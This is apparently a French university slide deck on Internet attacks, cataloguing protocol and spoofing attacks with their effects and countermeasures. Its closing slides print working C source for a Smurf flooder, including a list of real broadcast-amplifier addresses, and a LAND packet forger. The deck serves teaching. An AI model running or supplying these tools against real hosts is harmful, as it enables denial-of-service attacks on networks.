510 likes | 644 Views
Attaques Internet. Ahmed Serhrouchni ENST’Paris CNRS. Plan . Introduction Choix protocolaires Implications Typologie Les attaques sur les choix d’implantation Les attaques sur le design des protocoles Les attaques sur les détournements et usurpations
E N D
Attaques Internet Ahmed Serhrouchni ENST’Paris CNRS
Plan • Introduction • Choix protocolaires • Implications • Typologie • Les attaques sur les choix d’implantation • Les attaques sur le design des protocoles • Les attaques sur les détournements et usurpations • Les attaques sur les bugs des logiciels
Choix protocolaires. • Simple • Léger • Pas ou peu de contrôle • Optimisation et confiance
Implications. • Les attaques sur les protocoles de communications • exploiter les failles des protocoles IP, ICMP, TCP, UDP • Les attaques sue les applications • Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP • Les attaques sur l’information • L’écoute de données communiquées sur le réseau • La modification des données communiquées sur le réseau • Les attaques sur les systèmes • Le vol de mot de passe • L’accès aux fichiers et répertoires sans autorisation
Typologie. (1/2) • Quelques classifications : • les effets : DoS (Denial of Service), intrusions, corruptions, • les protocoles : icmp, ip, tcp, dns, … • les systèmes d ’exploitation
Typologie. (2/2) • Classification selon: • Choix d’implémentation : buffer overflow, Ping of death, land, TCP syn, Teardrop … • Conception des protocoles : Smurf:, email (bombing, spamming), UDP-bombing, ftp bounce, prédiction des numéros de séquence de TCP, TCP connection killing … • Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, email spoofing, dns cache poisonning, web spoofing … • Bugs : • Volontaires (virus, cheval de troie …) • Non volontaires (netscape server …)
Attaques - Les choix d ’implémentationsPing of Death • Description • Ping est basé sur icmp echo/reply • Taille maximum d ’un paquet IP 65536 octets • ICMP est encapsulé par IP • L ’attaque consiste à générer des paquets ICMP de taille 65510 (8 octets pour le header icmp et 20 octets pour le header IP) • Fragmentaton à la source, le réassemblage provoque le crash du buffer de l ’émetteur
Attaques - Les choix d ’implémentationsPing of Death • Effet : • crash ou reboot de la machine • Parade: software (patches)
Attaques - Les choix d ’implémentationsTeardrop • Les tailles de MTU différentes impliques la fragmentation des paquets • Champ: identification, flags et fragment offset • Attaque par altération du fragment offset • Effet: • crah de la machine • Parade : • patche
Attaques - Les choix d ’implémentationsLand • Forge des segments TCP syn avec l ’adresse source identique à l ’adresse de la machine victime • Effet : • crash de la machine • Parade: • software ou filtrage
Attaques - Les choix d ’implémentations TCP SYN Flooding • L ’établissement d ’une connexion s ’effectue par un three-way handshake SYN x LISTEN SYNy, ACKx+1 SYN_RECVD ACK y+1 CONNECTED
Attaques - Les choix d ’implémentations TCP SYN Flooding • Allocation des structures: inpcb, tcpcb • Attente dans l ’état SYN_RECVD (75s) • Nombre limité de connexions dans cet état • Effet: • perte de connectivité • Parade : • réduction du timer, • augmentation du nbr. de connexions semi-ouvertes, • désactivations des ports inutiles, • filtrage, et proxy
Attaques - Les choix d ’implémentations Buffer Overflow • Attaques sur les OS multitâches (unix, WNT) • Pour obtenir des droits d ’accès privilégiés • Processus en exécution avec les droits suid • Processus en mémoire: zones (code ou texte, données, pile) • La pile est alloué de façon dynamique: • variables locales et pointeur sur l ’adresse retour après exécution • Appel à une fonction qui fait déborder la pile • Adresse retour réécrite par ce procédé
Attaques - Les choix d ’implémentations Buffer Overflow • Effet : • crash ou obtention d ’un accès privilégié • Parades: • vérification du remplissage des tampons, • modifications des programmes et des compilateurs (remplacement des fonctions vulnérables: copie et concaténation) • modification du noyau pour marquer la pile non exécutable
Attaques – Le design des protocoles • Saturation des ressources systèmes : Email-bombing/spamming, Smurf • Saturation des ressources réseau : Smurf, UDP-bombing,
Attaques - Le design des protocolesEmail Bombing/Spamming • Envoi d ’un message répété à une même adresse • Spamming variante du bombing : le message est envoyé à des centaines ou milliers d ’adresses • Falsification de l ’adresse d ’origine • Effets : • congestion du réseau • crash du serveur de messagerie • indisponibilité des ressources physique
Attaques - Le design des protocolesEmail Bombing/Spamming • Effets (suite) : • indisponibilité du serveur, des ressources physique, et de l ’entrée syslog • Parades : • Supervision, • filtrage, • proxy
Attaques - Le design des protocoles Smurf • Envoi de ICMP echo vers une adresse broadcast dont l ’adresse source est celle de la victime • Effet : • congestion du réseau intermédiaire et de la victime • Parades : • filtrage (au niveau des trois réseaux), • OS: ne pas répondre pour des adresses broadcast
Attaques - Le design des protocoles UDP bombing • Faire conserver deux ports qui générent du trafic (ex: chargen port 19, echo port 7) • Mettre en relation le port 19 de la première victime avec le port 7 de la deuxième victime • Effets : • si les deux ports sont sur la même machine les performances de celle-ci se dégradent • si les deux ports sont sur des machines différentes ceci provoque la congestion du réseau
Attaques - Le design des protocoles UDP bombing • Parades : • filtrage de tous les services sur UDP à l ’exception du port 53 (dns) • désactiver tous les ports udp inutiles
Attaques - Le design des protocoles FTP bounce • Deux ports tcp l ’un pour les commandes et l ’autre pour les données • La commande PORT n1,n2,n3,n4,n5,n6de ftp • Détournement des données en changeant les paramètres ni • Utilisé pour contourner un firewall • Effets : • intrusion dans un réseau • dtournement du fltrage
Attaques - Le design des protocoles FTP bounce • Parades : • Bien étudier l ’usage des serveurs ftp • Architecture : isoler le serveur ftp • Software: contrôler l ’usage de la commande PORT ( package wu-ftpd) • Proxy : élimine les cdes ports ayant comme origine un service interne connu • Authentification forte
Attaques - Le design des protocoles Prédiction des numéros de séquence de TCP • Prédire le numéro de séquence initial • Etablissement d ’une connexion et mesure du RTT pour prédire l ’ISN • Substitution d ’une adresse reconnue • Effet : • Etablissement d ’une connexion non autorisée • Parade : • Implémentation (un espace de numéro de séquence séparé pour chaque connexion) • Authentification (IPsec)
Attaques - Le design des protocoles TCP connection killing • Envoi d ’un segment TCP avec le bit RST : possible uniquement si le numéro de séquence est connu • Effet : • Perte de connectivité • Parade : • Autentification (Ipsec)
Attaques - Les détournements et interceptions • Ecoute du trafic (sniffing ou eavesdrpping) • Se faire passer pour interlocuteur légitime aux niveaux: • liaison des données (ARP spoofing) • réseau (IP spoofing, TCP hijacking) • applicatif (email spoofing, dns spoofing, web spoofing)
Attaques - Les détournements et interceptionsSniffing ou eavesdropping • Ecoute indiscrète des données sur un réseau • Sur le chemin des communicants • Attaque passive, les informations recueillis peuvent servir pour une attaque active • Effet : • perte de confidentialité et donc d ’information sensible (mot de passe) • Parades : • Chiffrement (Ipsec) • Architecture de réseau
Attaques - Les détournements et interceptionsARP spoofing • Répondre à une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas à l ’adresse IP • Possibilité de prendre en compte un ARP reply sans qu’i y ait eu auparavant de ARP who is? • ARP est sans état,l ’attaquant peu anticipé sur les requêtes • Effets : • Perte de connectivité réseau • redirection du trafic
Attaques - Les détournements et interceptionsICMP redirect et destination unreable • Utilisation du message ICMP-redirect • Un pirate envoie à une machine un ICMP-redirect lui indiquant un autre chemin à suivre • Utilisation du message ICMP-unreachable destination • Un pirate peut envoyer ce message vers une machine • La machine ne peut plus joindre ce réseau
Attaques - Les détournements et interceptionsICMP redirect et destination unreable • Effets : • perte de connectivité • déni de service • Parades : • filtrage • authentification (Ipsec)
Attaques - Les détournements et interceptionsIP spoofing • IP spoofing correspond à l ’usurpation d ’adresse IP se S par A vers D • Détournement du trafic si A n ’est pas sur le même chemin entre S et D • Nécessite de prédire le numéro de séquence • Possibilité d ’utiliser : • le routage par la source • ICMP redirect • protocole de routage RIP
Attaques - Les détournements et interceptionsIP spoofing • Effet : • prendre les privilèges de S • Parades : • Configuration pour ICMP redirect et RIP • Filtrage (source routing, adresse IP) • Authentification (Ipsec)
Attaques - Les détournements et interceptionsTCP hijacking • Connexion TCP entre S et D • A se substitue à S • Utilisation de plusieurs attaques : • IP spoofing, • ICMP redirect, • TCP connection killing • Effets: • détournement d ’une communication autorisée • Contourne les protections d ’authentificaion forte de l ’utilisateur SKEY et Kerberos
Attaques - Les détournements et interceptionsTCP hijacking • Parade : • Authentification (Ipsec)
Attaques - Les détournements et interceptionsEmail spoofing • Absence d ’authentification • Aucun mécanisme d ’authentification auprès des serveurs mails, de plus vous ne savez pas qui réellement vous écrit • Pas de garantie d ’intégrité de message • Toute personne interceptant le message peut en modifier le contenu • Effets : • usurpation d ’adresse (demande de changement d ’information sensible) • cacher son identité pour une attaque
Attaques - Les détournements et interceptionsEmail spoofing • Parades : • Architecture (utiliser un firewall comme frontal) • Empêcher toute connexion directe sur le port SMTP par configuration du mail delivery deamon • Authentification (par signature : PGP, SSL, S/MIME)
Attaques - Les détournements et interceptionsDNS spoofing • Altérer directement les tables d ’un serveur de noms • Communiquer de mauvaises cache poisoning • Effets : • détourner le trafic vers l ’attaquant (applications sensibles : messagerie et web) • Connexions illicites par applets • Parades : • DNSsec une signature associée à chaque entrée • Pour les applets java vérifier les diff. adresses
Attaques - Les détournements et interceptionsWeb spoofing • Attaque de type man in middle : le serveur de l ’attaquant détourne les requêtes HTTP de la victime • La victime navigue dans un faux web • Initialisation de l ’attaque: • l ’attaquant amène la victime à visiter son site (par email ou par sa figuration dans une indexation d ’un moteur de recherche) • la victime télécharche un script java • Ce script java détourne toutes les requêtes de la victime vers l ’attaquant
Attaques - Les détournements et interceptionsWeb spoofing • Effets : • surveillance de l ’activité de la victime, et vol de données • altération des données, • Parades : • désactivation de javascript • proxy : repère et refuse des echanges HTTP avec réécriture des URL
Exemples: Smurf (1/5) #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;
Exemples: Smurf (2/5) char *bcastaddr[] = { "199.171.190.0", "165.154.1.255", "205.139.4.255", "198.3.101.255", "204.71.177.0", "192.41.177.255", "206.13.28.255", "144.228.20.255", "206.137.184.255", "198.32.186.255", "130.63.236.255", "208.202.14.255", "208.131.162.255", "199.171.6.255", "207.124.104.255", "205.180.58.255", "198.3.98.0", "131.104.96.255", "143.43.32.0", "131.215.48.0", "204.117.214.0", "143.43.32.255", "130.235.20.255", "206.79.254.255", "199.222.42.255", "204.71.242.255", "204.162.80.0", "128.194.103.255", "207.221.53.255", "207.126.113.255", "198.53.145.255", "209.25.21.255", "194.51.83.255", "207.51.48.255", "129.130.12.255", "192.231.221.255", "168.17.197.255", "198.242.55.255", "130.160.224.255", "128.83.40.255", "131.215.48.255", "169.130.10.255", "207.20.7.255", "163.179.1.0", "129.16.1.0", "128.122.27.255", "132.236.230.255", "198.32.146.255", "192.41.177.0", NULL };
Exemples: Smurf (3/5) if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
Exemples: Smurf (4/5) for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
Exemples: Smurf (5/5) memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }
Exemples: LAND (1/4) int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }
Exemples: LAND (2/4) bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); }
Exemples: LAND (3/4) if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr;
Exemples: LAND (4/4) tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in)); close(sock); return(0); }
Conclusion Questions et débat